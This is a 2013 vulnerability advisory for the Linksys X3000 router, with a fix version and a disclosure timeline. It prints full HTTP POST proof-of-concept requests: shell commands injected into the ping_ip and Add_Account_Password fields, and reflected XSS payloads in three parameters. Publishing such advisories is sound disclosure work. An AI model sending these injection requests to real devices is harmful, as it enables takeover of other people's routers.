Linksys X3000 - Multiple Vulnerabilities

2013-07-15T00:00:00
ID SECURITYVULNS:DOC:29560
Type securityvulns
Reporter Securityvulns
Modified 2013-07-15T00:00:00

Description

Device: X3000 Vendor: Linksys

============ Vulnerable Firmware Releases: ============

Firmware Version: v1.0.03 build 001 Jun 11,2012

============ Vulnerability Overview: ============

  • OS Command Injection

The vulnerability is caused by missing input validation in the ping_ip parameter and can be exploited to inject and execute arbitrary shell commands.

You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

  • OS Command Injection - Vector 1 (1): => Parameter: ping_ip

Example Exploit: POST /apply.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://192.168.1.1/Diagnostics.asp Authorization: Basic XXX= Content-Type: application/x-www-form-urlencoded Content-Length: 194 Connection: close

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20ping%20-c%201%20192%2e168%2e1%2e147%20%3b&ping_size=&ping_times=5&traceroute_ip=

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/x3000-os-command-injection.png

  • OS Command Injection - Vector 1 (2): => Parameter: Add_Account_Password

Example Exploit: POST /apply.cgi HTTP/1.1 Host: 192.168.178.188 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.178.188/User_Properties.asp Authorization: Basic XXX= Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 444

command=device_data&cur_ipaddr=192.168.178.188&next_page=StorageAdminUserAdd1.htm&redirect_timer=1&reboot=0&data1=&next_page=&submit_button=User_Properties&submit_type=create_user&change_action=gozila_cgi&Add_Account_Group_Name=&access_group_name=&delete_groups=&Modify_Account_Name=&Add_Account_Name=pwnd&full_name=pwnd&user_desc=pwnd&Add_Account_Password=`ping%20192%2e168%2e178%2e103`&Add_Account_PasswordConfirm=pwnd&Add_Account_Group=admin

  • For changing the password there is no request to the current password (3):

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

  • reflected XSS

Injecting scripts into the following parameters reveals that these are not properly validated for malicious input.

=> Parameter: ping_ip (4)

POST /apply.cgi HTTP/1.1 Host: 192.168.178.188 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.178.188/Diagnostics.asp Authorization: Basic XXX= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 156

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=1.1.1.1'><script>alert(1)</script>&ping_size=32&ping_times=5&traceroute_ip=

=&gt; Parameter: sortby &#40;5&#41;

POST /apply.cgi HTTP/1.1 Host: 192.168.178.188 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.178.188/DHCPTable.asp Authorization: Basic XXX= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 103

submit_button=DHCPTable&change_action=&submit_type=&small_screen=&ip=&mac=&if_name=&nowait=1&sortby=mac"%3balert(1)//

=&gt; Parameter: submit_button &#40;6&#41;

POST /apply.cgi HTTP/1.1 Host: 192.168.178.188 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.178.188/WanMAC.asp Authorization: Basic XXX= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 106

submit_button=WanMAC'%3balert(1)//&change_action=&submit_type=&action=Apply&wait_time=3&mac_clone_enable=0

============ Solution ============

Update to version "v1.0.05 build 002 Feb 21,2013" to fix the following findings: 1, 2, 4, 5, 6

============ Credits ============

The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de/advisories Twitter: @s3cur1ty_de

============ Time Line: ============

28.01.2013 - discovered vulnerability 04.02.2013 - Reported vulnerability privately to vendor 22.02.2013 - Requested update 25.02.2013 - Linksys responded that there are no updates 18.03.2013 - Requested update => and some more update requests ... 08.05.2013 - Testing update from vendor 08.05.2013 - responded testing results 21.06.2013 - Linksys informed me about public available firmware update 22.06.2013 - public disclosure

===================== Advisory end =====================